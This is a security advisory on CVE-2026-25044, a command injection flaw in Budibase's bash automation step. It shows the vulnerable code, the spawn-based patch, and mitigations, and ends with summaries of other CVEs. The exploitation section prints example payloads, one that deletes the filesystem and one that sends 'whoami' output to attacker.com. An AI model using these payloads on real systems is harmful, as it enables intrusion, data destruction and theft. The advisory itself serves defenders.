Apr 3, 2026·5 min read·37 visits
Unsanitized input in the Budibase bash automation feature allows low-privileged users to execute arbitrary OS commands via Node.js execSync. Upgrading to version 3.33.4 resolves the issue.
Budibase versions prior to 3.33.4 contain a critical OS command injection vulnerability within the platform's bash automation step. An authenticated attacker with privileges to create or modify automations can inject shell metacharacters, leading to unauthenticated remote code execution on the host system.
Budibase is an open-source low-code platform designed to build internal tools and applications. The platform includes an automations feature that allows users to define custom workflows, including a specific "bash automation" step intended to execute administrative or utility scripts on the underlying server.
CVE-2026-25044 is an OS Command Injection vulnerability (CWE-78) located within this bash automation logic. The vulnerability affects all Budibase versions prior to 3.33.4. The core issue stems from improper neutralization of special elements used in an OS command, allowing malicious input to alter the execution context.
An attacker requires low privileges (PR:L) to exploit this vulnerability, specifically the ability to create or modify automations within the Budibase portal. Successful exploitation results in arbitrary code execution with the permissions of the Node.js process running the Budibase server application.
The vulnerability is located in the backend server's automation processing logic, specifically within the packages/server/src/automations/steps/bash.ts file. The application processes user-provided bash commands through a template interpolation function named processStringSync before execution.
This function handles template syntax elements but fails to sanitize standard shell metacharacters. The resulting string is subsequently passed directly to the Node.js execSync function. The execSync method inherently invokes a system shell (such as /bin/sh or cmd.exe) to execute the provided command string.
Because the input string is not strictly sanitized, the shell evaluates any injected metacharacters. An attacker can break out of the intended command structure using standard techniques like command substitution or statement termination, forcing the shell to execute secondary malicious binaries alongside or instead of the original script.
The vulnerable code path initiates execution without sanitizing the output from the template processor. The string generated by processStringSync is passed unmodified into execSync, granting the shell complete authority over interpretation.
// VULNERABLE: packages/server/src/automations/steps/bash.ts
const command = processStringSync(inputs.code, context)
let stdout, success = true
try {
stdout = execSync(command, {
timeout: environment.QUERY_THREAD_TIMEOUT,
}).toString()
} catch (err) {
// Error handling omitted
}The patch introduced in version 3.33.4 completely eliminates the reliance on execSync. The developers transitioned to the spawn method, which avoids wrapping the command in a shell environment. Furthermore, they introduced a strict sanitizeCommand function to strip dangerous metacharacters prior to splitting the command into an argument array.
// PATCHED: packages/server/src/automations/steps/bash.ts
import { spawn } from "child_process"
function sanitizeCommand(input: string): string {
return input.replace(/[;&|`$(){}[\]]/g, "").trim()
}
// Subsequent logic utilizes spawn(cmd, args) instead of execSyncThis remediation addresses the flaw at two levels. First, the regex effectively neutralizes the primary vectors for command stacking and substitution. Second, replacing execSync with spawn prevents the host operating system from interpreting the input string as a multi-statement shell script, neutralizing residual shell execution risks.
Exploitation begins with the attacker authenticating to the Budibase portal using an account authorized to manage automations. The attacker navigates to the "Automations" section and either creates a new workflow or modifies an existing one to include a "Bash Script" execution step.
The attacker then supplies a malicious payload in the automation's input field. This payload utilizes shell metacharacters to execute unauthorized commands. For example, injecting ; rm -rf / ; terminates the preceding legitimate command and initiates the malicious payload.
If the script utilizes variables handled by the template engine, the attacker can manipulate those inputs. Supplying a variable value such as $(curl http://attacker.com/$(whoami)) triggers command substitution when evaluated by the shell.
Successful exploitation of CVE-2026-25044 grants the attacker complete control over the underlying system environment executing the Budibase server. The injected commands run within the context and permission scope of the Budibase application process.
The CVSS v4.0 base score of 8.7 reflects the critical severity of this flaw. The vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N highlights that the attack is executable over the network with low complexity, requiring only basic user privileges and resulting in high impact across confidentiality, integrity, and availability.
An attacker can leverage this initial access to read sensitive configuration files, modify internal databases, or establish persistence. If the Budibase instance is deployed without strict containerization or network segmentation, the compromised server serves as a pivot point for lateral movement into the broader enterprise network.
The definitive remediation for CVE-2026-25044 is to upgrade the Budibase deployment to version 3.33.4 or later. This version contains the necessary architectural changes to the automation step execution flow and the requisite input sanitization functions.
Organizations unable to apply the patch immediately should implement interim mitigations. Administrators can disable the "Bash Automation" step globally by modifying the Budibase environment variables, thus completely removing the vulnerable attack surface until patching is feasible.
Security teams should also review system logs for indicators of compromise. Monitoring should focus on unexpected child processes spawned by the Budibase server application, as well as the presence of shell metacharacters like $(, ;, or | within the recorded parameters of automation execution logs.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Budibase Budibase | < 3.33.4 | 3.33.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| Attack Vector | Network |
| CVSS v4.0 | 8.7 |
| Privileges Required | Low |
| Impact | Remote Code Execution |
| Exploit Status | PoC Available |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Netflix Lemur, a TLS/SSL certificate management framework, contains a missing authorization check in its certificate export endpoint. Prior to version 1.9.3, the validation logic verifying whether a user had permission to export a certificate was incorrectly placed inside a block that executed only if the selected plugin required a private key. When an authenticated user attempted to export a certificate using a plugin that did not require the private key, the authorization check was bypassed, allowing unauthorized access to the public portions of the certificate and producing misleading audit logs.
A critical security flaw in LibreNMS allows authenticated administrators to execute arbitrary commands by modifying the configured binary path for snmpget and accessing the About page. This occurs due to insufficient verification of the executable file's identity and integrity prior to executing it with shell_exec.
LibreNMS versions prior to 26.7.0 are vulnerable to a stored Cross-Site Scripting (XSS) vulnerability. An authenticated administrator can inject arbitrary HTML or JavaScript into graph descriptions via specific administrative configuration endpoints. When another authenticated user views the affected graph, the unescaped payload executes within their browser context.
An injection vulnerability in LibreNMS's Oxidized integration component allows administrative or network-positioned attackers to achieve stored cross-site scripting (XSS). By setting a malicious oxidized.url endpoint, the server makes outbound queries and processes returned JSON fields containing malicious HTML or JavaScript. These payloads are outputted directly in the web UI without appropriate output encoding.
CVE-2026-17106 (CopyEscape) is a container-to-host arbitrary file-write vulnerability within Docker's archiving and extraction library moby/go-archive. By utilizing a Time-of-Check to Time-of-Use (TOCTOU) race condition during the file-walking stage inside a running container, a malicious container process can force the host engine to produce a compromised tar stream. During client-side extraction, the Docker CLI resolves directory entries through absolute symbolic links, resulting in arbitrary file creation or modification on the host system.
CVE-2026-73974 is a local path traversal vulnerability in linuxfabrik-lib and Linuxfabrik Monitoring Plugins. Under standard monitoring configurations running with elevated privileges via sudo, this flaw can be exploited by an unprivileged local user to read arbitrary root-only files, resulting in local privilege escalation.